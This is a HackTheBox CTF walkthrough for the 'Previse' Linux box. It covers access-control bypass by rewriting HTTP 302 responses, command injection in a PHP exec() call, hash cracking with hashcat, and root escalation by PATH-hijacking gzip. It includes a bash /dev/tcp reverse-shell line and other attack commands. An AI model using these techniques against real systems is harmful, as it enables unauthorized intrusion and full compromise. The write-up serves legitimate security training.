Introduction

Previse is a CTF Linux box with difficulty rated as “easy” on the HackTheBox platform. The machine covers bypassing access control, OS command injection, hash cracking, privilege escalation by modifying script given root privileges in the sudoers file.

Table of Content

Network Scanning

• Nmap

Enumeration

• Directory enumeration using gobuster
• Deriving bad coding practice from an old backup

Exploitation

• Exploiting bad code to gain reverse shell

Privilege Escalation

• Cracking hashes recovered from SQL database
• Entry of access_backup.sh script found in sudoers which was running gzip
• Creating gzip binary with custom code to escalate privileges to root

Let’s deep dive into this.

Network Scanning

The dedicated IP address of the machine is 10.129.95.185. We’ll run a nmap scan on this machine’s IP

nmap -A 10.129.95.185

Open ports are:

• 22 running SSH
• 80 running a website

Enumeration

A website was found. Upon inspecting some pages, it seemed like I had to be authenticated to access it.

Then we enumerated existing PHP pages on the website using gobuster

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --url http://10.129.95.185/ -x php

We found a page called nav.php which turned out to be a navigation page for the website. On the same page, we see a create account page.

After a little inspection of the create account page, we concluded that all of the pages were access protected and a user had to be logged in. So, we tried HTTP response tampering to bypass access control. For that we intercepted the request in burp

Then we intercept it’s response too

As you can see, the page is found but due to access restriction we can’t access it and a status code of 302 is visible.

So, we changed this 302 to 200 (status OK) and forwarded the response to our browser.

And now, the registration page was visible. We created an account using credentials raj:123123

Then we repeated the above steps. We want to bypass access restrictions on this page in order to successfully register our new user. For this, we will intercept the request again

And then we would again intercept this request’s response too.

We see a 302 status yet again due to access control

So, we change this status to 200 and forward it to our browser to render the page

Upon successful registration, we would see the congratulatory message.

Exploitation

We logged in using this account and could see a dashboard where various functions are possible. There were various file-related options.

On the files tab, we saw an interesting revelation. Seems like there was an entire website’s backup kept here.

Upon downloading and inspecting its contents, we saw various PHP files. Two interesting files caught our eye. First was config.php which had an SQL connection logic

This file revealed to us the MySQL password, while the other file file_logs.php had a coding logic flaw that could be exploited.

As we can see, the website is vulnerable to command injection as file_logs.php is hosting an unsanitized exec () function. The associated webpage presents a dropdown menu to choose value for the parameter “delim”

So, we intercept the request in burp suite and input our reverse shell payload for netcat as an additional argument for the exec () function that executes system commands.

At our listener we see that we have received a reverse shell. We convert this into a much more stable bash shell using python one liner

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

Privilege Escalation

We checked in the local file system but nothing worthwhile was obtained. Then we remembered that we had obtained an SQL credential, so, we logged in to SQL and then dumped credentials for the user m4lwhere.

We cracked this using hashcat and obtained the password: ilovecody112235

hashcat -m 500 hash Desktop/rockyou.txt

We SSHed into this device using credentials obtained and checked the sudoers file. It was observed that a script access_backup.sh could be run by the user m4lwhere as root. Upon inspecting this script, we found out that gzip was being used.

ssh m4lwhere@10.129.95.185
cat user.txt
sudo -l
cat /opt/scripts/access_backup.sh

So, we create an executable called gzip and input the bash one-liner reverse shell. After that, we gave it executable permissions, added the current directory in the PATH variable and run the script while setting a reverse shell listener.

nano gzip
#!/bin/bash
bash -I >& /dev/tcp/10.10.14.104/1234 0>&1
chmod +x gzip
export PATH=/home/m4lwhere:$PATH
sudo /opt/scripts/access_backup.sh

On the listener, we see a root shell had been obtained! We traverse to the home directory and read the congratulatory flag!

So, this is how we pwned the box! Thanks for reading

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here